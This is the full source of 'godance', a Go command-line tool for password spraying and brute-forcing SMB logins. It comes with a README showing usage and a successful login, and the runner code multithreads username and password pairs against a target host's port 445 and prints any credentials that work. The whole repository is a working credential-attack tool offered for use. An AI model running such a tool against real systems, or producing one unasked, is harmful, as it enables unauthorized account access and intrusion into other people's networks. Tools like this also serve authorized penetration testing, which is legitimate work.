├── const.go ├── const_windows.go ├── .goreleaser.yml ├── README.md ├── wordlist.go ├── main.go └── runner.go /const.go: -------------------------------------------------------------------------------- 1 | // +build !windows 2 | 3 | package main 4 | 5 | const ( 6 | TERMINAL_CLEAR_LINE = "\r\x1b[2K" 7 | ) 8 | -------------------------------------------------------------------------------- /const_windows.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package main 4 | 5 | const ( 6 | TERMINAL_CLEAR_LINE = "\r\r" 7 | ) 8 | -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | builds: 2 | - binary: godance 3 | goos: 4 | - linux 5 | - windows 6 | - freebsd 7 | - openbsd 8 | - darwin 9 | goarch: 10 | - amd64 11 | - 386 12 | - arm 13 | - arm64 14 | 15 | 16 | archive: 17 | format: tar.gz 18 | replacements: 19 | darwin: macOS 20 | format_overrides: 21 | - goos: windows 22 | format: zip 23 | 24 | sign: 25 | artifacts: checksum 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | ___ ____ ___/ /__ ____ _______ 3 | / _ '/ _ \/ _ / _ '/ _ \/ __/ -_) 4 | \_, /\___/\_,_/\_,_/_//_/\__/\__/ 5 | /___/ 6 | ``` 7 | 8 | 9 | # godance - A password spraying SMB bruteforcer 10 | 11 | SMB password sprayer 12 | 13 | ``` 14 | $ godance -h 192.168.75.173 -u users.txt -w passwords.txt -d WORKGROUP -t 200 15 | 16 | ___ ____ ___/ /__ ____ _______ 17 | / _ '/ _ \/ _ / _ '/ _ \/ __/ -_) 18 | \_, /\___/\_,_/\_,_/_//_/\__/\__/ 19 | /___/ 20 | 21 | ----------------------------------------------------- 22 | [*] Number of usernames: 4242 23 | [*] Number of passwords: 4 24 | [*] Test cases: 16968 25 | [*] Number of threads: 200 26 | ----------------------------------------------------- 27 | [*] In hacker voice *I'm in* // Username: pystyy // Password: vetaa 28 | 29 | ``` 30 | 31 | ## Usage 32 | 33 | 34 | ``` 35 | Usage of godance: 36 | -d string 37 | Domain (default "WORKGROUP") 38 | -h string 39 | Target host 40 | -p int 41 | Target port (default 445) 42 | -s string 43 | Sleep time in seconds (per thread) 44 | -t int 45 | Number of threads (default 10) 46 | -u string 47 | User wordlist 48 | -v Debug 49 | -w string 50 | Password list 51 | ``` 52 | 53 | ## Installation 54 | 55 | - [Download](https://github.com/joohoi/godance/releases/latest) a prebuilt binary from [releases page](https://github.com/joohoi/godance/releases/latest), unpack and run! 56 | - If you have go compiler installed: `go get github.com/joohoi/godance` 57 | 58 | -------------------------------------------------------------------------------- /wordlist.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | ) 7 | 8 | type WordlistInput struct { 9 | data [][]byte 10 | position int 11 | } 12 | 13 | func NewWordlistInput(filePath string) (*WordlistInput, error) { 14 | var wl WordlistInput 15 | wl.position = -1 16 | valid, err := wl.validFile(filePath) 17 | if err != nil { 18 | return &wl, err 19 | } 20 | if valid { 21 | err = wl.readFile(filePath) 22 | } 23 | return &wl, err 24 | } 25 | 26 | //Next will increment the cursor position, and return a boolean telling if there's words left in the list 27 | func (w *WordlistInput) Next() bool { 28 | w.position++ 29 | if w.position >= len(w.data) { 30 | return false 31 | } 32 | return true 33 | } 34 | 35 | //Value returns the value from wordlist at current cursor position 36 | func (w *WordlistInput) Value() []byte { 37 | return w.data[w.position] 38 | } 39 | 40 | //Total returns the size of wordlist 41 | func (w *WordlistInput) Total() int { 42 | return len(w.data) 43 | } 44 | 45 | //validFile checks that the wordlist file exists and can be read 46 | func (w *WordlistInput) validFile(path string) (bool, error) { 47 | _, err := os.Stat(path) 48 | if err != nil { 49 | return false, err 50 | } 51 | f, err := os.Open(path) 52 | if err != nil { 53 | return false, err 54 | } 55 | f.Close() 56 | return true, nil 57 | } 58 | 59 | //readFile reads the file line by line to a byte slice 60 | func (w *WordlistInput) readFile(path string) error { 61 | file, err := os.Open(path) 62 | if err != nil { 63 | return err 64 | } 65 | defer file.Close() 66 | 67 | var data [][]byte 68 | reader := bufio.NewScanner(file) 69 | for reader.Scan() { 70 | data = append(data, []byte(reader.Text())) 71 | } 72 | w.data = data 73 | return reader.Err() 74 | } 75 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | "strconv" 8 | ) 9 | 10 | type CLIConfig struct { 11 | host string 12 | port int 13 | debug bool 14 | domain string 15 | threads int 16 | sleep string 17 | userFile string 18 | pwdFile string 19 | } 20 | 21 | type Config struct { 22 | host string 23 | port int 24 | debug bool 25 | domain string 26 | threads int 27 | sleep float64 28 | users *WordlistInput 29 | passwds *WordlistInput 30 | } 31 | 32 | const ( 33 | BANNER = ` 34 | ___ ____ ___/ /__ ____ _______ 35 | / _ '/ _ \/ _ / _ '/ _ \/ __/ -_) 36 | \_, /\___/\_,_/\_,_/_//_/\__/\__/ 37 | /___/ 38 | ` 39 | SEP = "-----------------------------------------------------" 40 | ) 41 | 42 | func createConfig(cliconf *CLIConfig) (Config, error) { 43 | var conf Config 44 | var err error 45 | if cliconf.host == "" { 46 | return conf, fmt.Errorf("Host (-h) not defined") 47 | } 48 | conf.host = cliconf.host 49 | if cliconf.domain == "" { 50 | return conf, fmt.Errorf("Domain (-d) not defined") 51 | } 52 | conf.domain = cliconf.domain 53 | if cliconf.userFile == "" { 54 | return conf, fmt.Errorf("Userfile (-u) not defined") 55 | } 56 | conf.users, err = NewWordlistInput(cliconf.userFile) 57 | if err != nil { 58 | return conf, fmt.Errorf("Could not read user file: %s", err) 59 | } 60 | if cliconf.pwdFile == "" { 61 | return conf, fmt.Errorf("Passwordfile (-w) not defined") 62 | } 63 | conf.passwds, err = NewWordlistInput(cliconf.pwdFile) 64 | if err != nil { 65 | return conf, fmt.Errorf("Could not read password file: %s", err) 66 | } 67 | if cliconf.sleep != "" { 68 | conf.sleep, err = strconv.ParseFloat(cliconf.sleep, 64) 69 | if err != nil { 70 | return conf, fmt.Errorf("Erroneus sleep (-s) value") 71 | } 72 | } 73 | 74 | conf.threads = cliconf.threads 75 | conf.port = cliconf.port 76 | conf.debug = cliconf.debug 77 | return conf, nil 78 | } 79 | 80 | func main() { 81 | var cliconf CLIConfig 82 | flag.StringVar(&cliconf.host, "h", "", "Target host") 83 | flag.IntVar(&cliconf.port, "p", 445, "Target port") 84 | flag.IntVar(&cliconf.threads, "t", 10, "Number of threads") 85 | flag.StringVar(&cliconf.userFile, "u", "", "User wordlist") 86 | flag.StringVar(&cliconf.pwdFile, "w", "", "Password list") 87 | flag.StringVar(&cliconf.domain, "d", "WORKGROUP", "Domain") 88 | flag.BoolVar(&cliconf.debug, "v", false, "Debug") 89 | flag.StringVar(&cliconf.sleep, "s", "", "Sleep time in seconds (per thread)") 90 | flag.Parse() 91 | conf, err := createConfig(&cliconf) 92 | if err != nil { 93 | fmt.Printf(" [!] Error: %s\n\n", err) 94 | flag.Usage() 95 | os.Exit(1) 96 | } 97 | runner := NewRunner(&conf) 98 | runner.Start() 99 | } 100 | -------------------------------------------------------------------------------- /runner.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | "sync" 8 | "time" 9 | 10 | "github.com/stacktitan/smb/smb" 11 | ) 12 | 13 | type Runner struct { 14 | counter int 15 | running bool 16 | conf *Config 17 | startTime time.Time 18 | } 19 | 20 | func NewRunner(conf *Config) Runner { 21 | var r Runner 22 | r.conf = conf 23 | r.running = false 24 | r.counter = 0 25 | return r 26 | } 27 | 28 | func (r *Runner) Start() { 29 | r.running = true 30 | defer r.Stop() 31 | fmt.Println(BANNER) 32 | fmt.Println(SEP) 33 | fmt.Printf(" [*] Number of usernames: %d\n", r.conf.users.Total()) 34 | fmt.Printf(" [*] Number of passwords: %d\n", r.conf.passwds.Total()) 35 | fmt.Printf(" [*] Test cases: %d\n", r.conf.users.Total()*r.conf.passwds.Total()) 36 | fmt.Printf(" [*] Number of threads: %d\n", r.conf.threads) 37 | fmt.Println(SEP) 38 | 39 | var wg sync.WaitGroup 40 | wg.Add(1) 41 | go r.runProgress(&wg) 42 | 43 | limiter := make(chan bool, r.conf.threads) 44 | for r.conf.passwds.Next() { 45 | nextPassword := r.conf.passwds.Value() 46 | for r.conf.users.Next() { 47 | limiter <- true 48 | nextUser := r.conf.users.Value() 49 | wg.Add(1) 50 | r.counter++ 51 | go func() { 52 | // release a slot in queue when exiting 53 | defer func() { <-limiter }() 54 | defer wg.Done() 55 | r.RunTask(nextUser, nextPassword) 56 | if r.conf.sleep > 0 { 57 | time.Sleep(time.Duration(r.conf.sleep*1000) * time.Millisecond) 58 | } 59 | }() 60 | } 61 | // Reset the pwd inputlist position 62 | r.conf.users.position = -1 63 | } 64 | wg.Wait() 65 | } 66 | 67 | func (r *Runner) runProgress(wg *sync.WaitGroup) { 68 | defer wg.Done() 69 | r.startTime = time.Now() 70 | totalProgress := r.conf.users.Total() * r.conf.passwds.Total() 71 | for r.counter <= totalProgress { 72 | r.updateProgress() 73 | if r.counter == totalProgress { 74 | return 75 | } 76 | time.Sleep(time.Millisecond * 100) 77 | } 78 | } 79 | 80 | func (r *Runner) updateProgress() { 81 | //TODO: refactor to use a defined progress struct for future output modules 82 | runningSecs := int((time.Now().Sub(r.startTime)) / time.Second) 83 | var reqRate int 84 | if runningSecs > 0 { 85 | reqRate = int(r.counter / runningSecs) 86 | } else { 87 | reqRate = 0 88 | } 89 | dur := time.Now().Sub(r.startTime) 90 | hours := dur / time.Hour 91 | dur -= hours * time.Hour 92 | mins := dur / time.Minute 93 | dur -= mins * time.Minute 94 | secs := dur / time.Second 95 | totalProgress := r.conf.users.Total() * r.conf.passwds.Total() 96 | progString := fmt.Sprintf(":: Progress: [%d/%d] :: %d tries/sec :: Duration: [%d:%02d:%02d] ::", r.counter, totalProgress, int(reqRate), hours, mins, secs) 97 | fmt.Fprintf(os.Stderr, "%s%s", TERMINAL_CLEAR_LINE, progString) 98 | } 99 | 100 | func (r *Runner) RunTask(username []byte, password []byte) { 101 | options := smb.Options{ 102 | Host: r.conf.host, 103 | Port: r.conf.port, 104 | User: string(username), 105 | Password: string(password), 106 | Domain: r.conf.domain, 107 | } 108 | session, err := smb.NewSession(options, r.conf.debug) 109 | if err != nil { 110 | errstr := fmt.Sprintf("%s", err) 111 | if !strings.Contains(errstr, "Logon failed") { 112 | fmt.Printf("%s [!] Error: %s\n", TERMINAL_CLEAR_LINE, err) 113 | } 114 | return 115 | } 116 | defer session.Close() 117 | 118 | if session.IsAuthenticated { 119 | fmt.Printf("%s [*] In hacker voice *I'm in* // Username: %s // Password: %s\n", TERMINAL_CLEAR_LINE, username, password) 120 | } 121 | } 122 | 123 | func (r *Runner) Stop() { 124 | fmt.Printf("\n") 125 | r.running = false 126 | } 127 | --------------------------------------------------------------------------------